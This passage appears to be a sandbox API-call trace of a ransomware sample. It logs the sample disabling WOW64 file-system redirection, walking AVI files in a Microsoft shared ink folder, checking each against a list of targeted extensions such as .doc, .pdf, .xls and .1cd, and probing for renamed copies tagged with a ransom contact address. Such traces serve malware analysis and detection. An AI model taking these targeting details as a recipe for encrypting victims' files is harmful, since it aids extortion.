	[0204.701] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e40978 | out: hHeap=0x610000) returned 1
	[0204.703] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x41d0020 | out: hHeap=0x610000) returned 1
	[0204.707] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673218 | out: hHeap=0x610000) returned 1
	[0204.707] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44414d8
	[0204.707] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44414d8, Size=0x20) returned 0x668420
	[0204.707] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44414d8
	[0204.707] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44414d8, Size=0x20) returned 0x6683d0
	[0204.708] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.708] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.708] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x1) returned 1
	[0204.708] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.708] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6683d0 | out: hHeap=0x610000) returned 1
	[0204.708] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.708] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668420 | out: hHeap=0x610000) returned 1

Thread:
	id = 49
	os_tid = 0xdd4

	[0165.149] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e50980
	[0165.149] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e60988
	[0165.150] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673248
	[0165.150] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbfa8
	[0165.150] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673260
	[0165.150] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x42ec020
	[0165.152] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.152] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d838
	[0165.152] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.152] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.153] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.153] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.153] Wow64DisableWow64FsRedirection (in: OldValue=0x38cff50 | out: OldValue=0x38cff50*=0x0) returned 1
	[0165.153] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.153] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.153] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.153] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.153] Sleep (dwMilliseconds=0x64) 
	[0165.355] Sleep (dwMilliseconds=0x64) 
	[0165.743] Sleep (dwMilliseconds=0x64) 
	[0166.016] Sleep (dwMilliseconds=0x64) 
	[0166.330] Sleep (dwMilliseconds=0x64) 
	[0166.654] Sleep (dwMilliseconds=0x64) 
	[0167.005] Sleep (dwMilliseconds=0x64) 
	[0167.307] Sleep (dwMilliseconds=0x64) 
	[0167.568] Sleep (dwMilliseconds=0x64) 
	[0167.865] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.865] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0167.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.868] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=111320) returned 1
	[0167.868] CloseHandle (hObject=0x474) returned 1
	[0167.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0167.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.869] lstrlenW (lpString=".doc") returned 4
	[0167.869] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString=".docx") returned 5
	[0167.869] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0167.869] lstrlenW (lpString=".pdf") returned 4
	[0167.869] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString=".xls") returned 4
	[0167.869] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString=".xlsx") returned 5
	[0167.869] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0167.869] lstrlenW (lpString=".ppt") returned 4
	[0167.869] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.869] lstrlenW (lpString=".zip") returned 4
	[0167.869] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString=".rar") returned 4
	[0167.869] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString=".bz2") returned 4
	[0167.869] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString=".7z") returned 3
	[0167.869] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.869] lstrlenW (lpString=".dbf") returned 4
	[0167.869] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.869] lstrlenW (lpString=".1cd") returned 4
	[0167.869] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.869] lstrlenW (lpString=".jpg") returned 4
	[0167.869] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.870] lstrlenW (lpString=".doc") returned 4
	[0167.870] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString=".docx") returned 5
	[0167.870] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0167.870] lstrlenW (lpString=".pdf") returned 4
	[0167.870] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString=".xls") returned 4
	[0167.870] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString=".xlsx") returned 5
	[0167.870] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0167.870] lstrlenW (lpString=".ppt") returned 4
	[0167.870] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.870] lstrlenW (lpString=".zip") returned 4
	[0167.870] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString=".rar") returned 4
	[0167.870] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString=".bz2") returned 4
	[0167.870] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString=".7z") returned 3
	[0167.870] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.870] lstrlenW (lpString=".dbf") returned 4
	[0167.870] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.870] lstrlenW (lpString=".1cd") returned 4
	[0167.870] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0167.870] lstrlenW (lpString=".jpg") returned 4
	[0167.870] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.871] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.871] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0167.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.871] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=48936) returned 1
	[0167.871] CloseHandle (hObject=0x474) returned 1
	[0167.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0167.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.872] lstrlenW (lpString=".doc") returned 4
	[0167.872] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString=".docx") returned 5
	[0167.872] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0167.872] lstrlenW (lpString=".pdf") returned 4
	[0167.872] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString=".xls") returned 4
	[0167.872] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString=".xlsx") returned 5
	[0167.872] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0167.872] lstrlenW (lpString=".ppt") returned 4
	[0167.872] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.872] lstrlenW (lpString=".zip") returned 4
	[0167.872] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString=".rar") returned 4
	[0167.872] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString=".bz2") returned 4
	[0167.872] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString=".7z") returned 3
	[0167.872] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.872] lstrlenW (lpString=".dbf") returned 4
	[0167.872] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.872] lstrlenW (lpString=".1cd") returned 4
	[0167.872] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.872] lstrlenW (lpString=".jpg") returned 4
	[0167.872] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.873] lstrlenW (lpString=".doc") returned 4
	[0167.873] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString=".docx") returned 5
	[0167.873] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0167.873] lstrlenW (lpString=".pdf") returned 4
	[0167.873] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString=".xls") returned 4
	[0167.873] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString=".xlsx") returned 5
	[0167.873] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0167.873] lstrlenW (lpString=".ppt") returned 4
	[0167.873] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.873] lstrlenW (lpString=".zip") returned 4
	[0167.873] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString=".rar") returned 4
	[0167.873] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString=".bz2") returned 4
	[0167.873] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString=".7z") returned 3
	[0167.873] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.873] lstrlenW (lpString=".dbf") returned 4
	[0167.873] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.873] lstrlenW (lpString=".1cd") returned 4
	[0167.873] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0167.873] lstrlenW (lpString=".jpg") returned 4
	[0167.873] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.874] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.874] lstrlenW (lpString="boxed-join.avi") returned 14
	[0167.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.875] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=46622) returned 1
	[0167.875] CloseHandle (hObject=0x474) returned 1
	[0167.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0167.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.875] lstrlenW (lpString=".doc") returned 4
	[0167.875] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.875] lstrlenW (lpString=".docx") returned 5
	[0167.875] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0167.875] lstrlenW (lpString=".pdf") returned 4
	[0167.875] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.875] lstrlenW (lpString=".xls") returned 4
	[0167.875] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.875] lstrlenW (lpString=".xlsx") returned 5
	[0167.875] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0167.875] lstrlenW (lpString=".ppt") returned 4
	[0167.875] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.875] lstrlenW (lpString=".zip") returned 4
	[0167.876] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString=".rar") returned 4
	[0167.876] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString=".bz2") returned 4
	[0167.876] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString=".7z") returned 3
	[0167.876] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.876] lstrlenW (lpString=".dbf") returned 4
	[0167.876] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.876] lstrlenW (lpString=".1cd") returned 4
	[0167.876] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.876] lstrlenW (lpString=".jpg") returned 4
	[0167.876] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.876] lstrlenW (lpString=".doc") returned 4
	[0167.876] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString=".docx") returned 5
	[0167.876] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0167.876] lstrlenW (lpString=".pdf") returned 4
	[0167.876] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString=".xls") returned 4
	[0167.876] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString=".xlsx") returned 5
	[0167.876] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0167.876] lstrlenW (lpString=".ppt") returned 4
	[0167.876] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.877] lstrlenW (lpString=".zip") returned 4
	[0167.877] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.877] lstrlenW (lpString=".rar") returned 4
	[0167.877] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.877] lstrlenW (lpString=".bz2") returned 4
	[0167.877] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.877] lstrlenW (lpString=".7z") returned 3
	[0167.877] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.877] lstrlenW (lpString=".dbf") returned 4
	[0167.877] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.877] lstrlenW (lpString=".1cd") returned 4
	[0167.877] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0167.877] lstrlenW (lpString=".jpg") returned 4
	[0167.877] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.877] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.877] lstrlenW (lpString="boxed-split.avi") returned 15
	[0167.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.878] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=84190) returned 1
	[0167.878] CloseHandle (hObject=0x474) returned 1
	[0167.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0167.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.878] lstrlenW (lpString=".doc") returned 4
	[0167.878] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.878] lstrlenW (lpString=".docx") returned 5
	[0167.878] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0167.878] lstrlenW (lpString=".pdf") returned 4
	[0167.878] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.878] lstrlenW (lpString=".xls") returned 4
	[0167.878] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.878] lstrlenW (lpString=".xlsx") returned 5
	[0167.878] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0167.878] lstrlenW (lpString=".ppt") returned 4
	[0167.878] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.879] lstrlenW (lpString=".zip") returned 4
	[0167.879] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString=".rar") returned 4
	[0167.879] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString=".bz2") returned 4
	[0167.879] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString=".7z") returned 3
	[0167.879] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.879] lstrlenW (lpString=".dbf") returned 4
	[0167.879] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.879] lstrlenW (lpString=".1cd") returned 4
	[0167.879] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.879] lstrlenW (lpString=".jpg") returned 4
	[0167.879] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.879] lstrlenW (lpString=".doc") returned 4
	[0167.879] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString=".docx") returned 5
	[0167.879] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0167.879] lstrlenW (lpString=".pdf") returned 4
	[0167.879] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString=".xls") returned 4
	[0167.879] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.879] lstrlenW (lpString=".xlsx") returned 5
	[0167.879] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0167.879] lstrlenW (lpString=".ppt") returned 4
	[0167.879] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.880] lstrlenW (lpString=".zip") returned 4
	[0167.880] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.880] lstrlenW (lpString=".rar") returned 4
	[0167.880] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
